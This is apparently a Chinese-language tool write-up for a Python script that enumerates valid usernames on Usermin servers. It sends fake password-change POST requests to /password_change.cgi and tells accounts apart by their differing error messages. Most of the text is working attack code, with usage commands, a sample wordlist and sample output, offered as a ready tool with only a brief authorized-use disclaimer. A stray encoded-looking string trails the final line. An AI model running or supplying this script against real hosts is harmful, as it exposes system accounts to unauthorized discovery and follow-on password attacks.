Usermin 用户名枚举工具

2 阅读3分钟

Usermin 用户名枚举工具

一个专注于Usermin服务安全测试的Python脚本,利用密码修改功能接口的响应差异,在不进行完整认证的情况下枚举系统中的有效用户名。

功能特性

  • 用户名枚举:基于字典文件批量检测Usermin系统中的有效用户账号
  • 漏洞探测:自动识别目标Usermin服务是否存在用户名枚举漏洞
  • 安全检测:通过分析password_change.cgi接口的响应内容判断用户是否存在
  • HTTPS支持:支持加密连接,默认跳过SSL证书验证

安装指南

系统要求

  • Python 3.x
  • pip包管理工具

依赖安装

pip install requests urllib3

下载脚本

git clone <repository-url>
cd <repository-directory>

使用说明

基本语法

python3 UsernameEnum.py -u <目标URL> -w <用户名字典文件>

参数说明

参数说明示例
-u, --url目标Usermin服务的主机地址https://127.0.0.1:20000
-w, --wordlist_users包含用户名的字典文件路径users.txt

使用示例

  1. 创建用户名字典 (users.txt)
admin
root
test
user1
administrator
  1. 执行枚举测试
python3 UsernameEnum.py -u https://192.168.1.100:20000 -w users.txt
  1. 输出示例
Possible user found with username: admin
Possible user found with username: root

工作原理

脚本向/password_change.cgi接口发送POST请求,携带测试用户名和虚构的密码信息。通过分析服务器返回的错误消息判断用户是否存在:

  • 用户存在:返回"Failed to change password: The current password is incorrect."
  • 用户不存在:返回"Failed to change password: Your login name was not found in the password file!"

核心代码

主枚举逻辑

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning

# 禁用SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 命令行参数配置
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help='目标Usermin主机地址')
parser.add_argument("-w", "--wordlist_users", help='用户名字典文件')
args = parser.parse_args()

# 参数验证
if len(sys.argv) != 5:
    print("请提供 -u (URL) 和 -w (用户名字典)")
    print("示例: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt")
    sys.exit()

用户名枚举核心函数

# 读取用户名字典
with open(args.wordlist_users, 'r') as usernameFile:
    usernameFileIntoList = usernameFile.read().split("\n")

# 遍历每个用户名进行测试
for i in usernameFileIntoList:
    # 构造请求头
    newHeaders = {
        'Content-type': 'application/x-www-form-urlencoded',
        'Referer': f'{args.url}/password_change.cgi'
    }
    
    # 构造POST数据
    params = {
        'user': i,
        'pam': '',
        'expired': '2',
        'old': 'fakePassword',
        'new1': 'password',
        'new2': 'password'
    }
    
    # 发送请求
    response = requests.post(
        f'{args.url}/password_change.cgi',
        data=params,
        verify=False,  # 跳过SSL验证
        headers=newHeaders
    )
    
    # 判断用户名是否存在
    if "Failed to change password: The current password is incorrect." in response.text:
        print("发现有效用户名: " + i)
    
    # 检测漏洞是否存在
    if (
        "Failed to change password: Your login name was not found in the password file!" not in response.text
        and "Failed to change password: The current password is incorrect." not in response.text
    ):
        print("目标应用可能不存在此漏洞,正在退出...")
        sys.exit()

请求/响应处理

# 请求示例
# POST https://target.com:20000/password_change.cgi
# Headers: Content-type: application/x-www-form-urlencoded
# Data: user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password

# 响应判断逻辑
# 用户存在 -> "Failed to change password: The current password is incorrect."
# 用户不存在 -> "Failed to change password: Your login name was not found in the password file!"

注意事项

  • 仅用于授权安全测试,未经许可使用可能违反相关法律法规
  • 脚本默认跳过SSL证书验证,生产环境使用需谨慎
  • 部分Usermin版本可能已修复此漏洞
  • 建议配合其他信息收集工具进行综合分析 6HFtX5dABrKlqXeO5PUv/xcapLe09aFmddQOfb8+dOa6UxaGsXIYnQltLeCfnSEN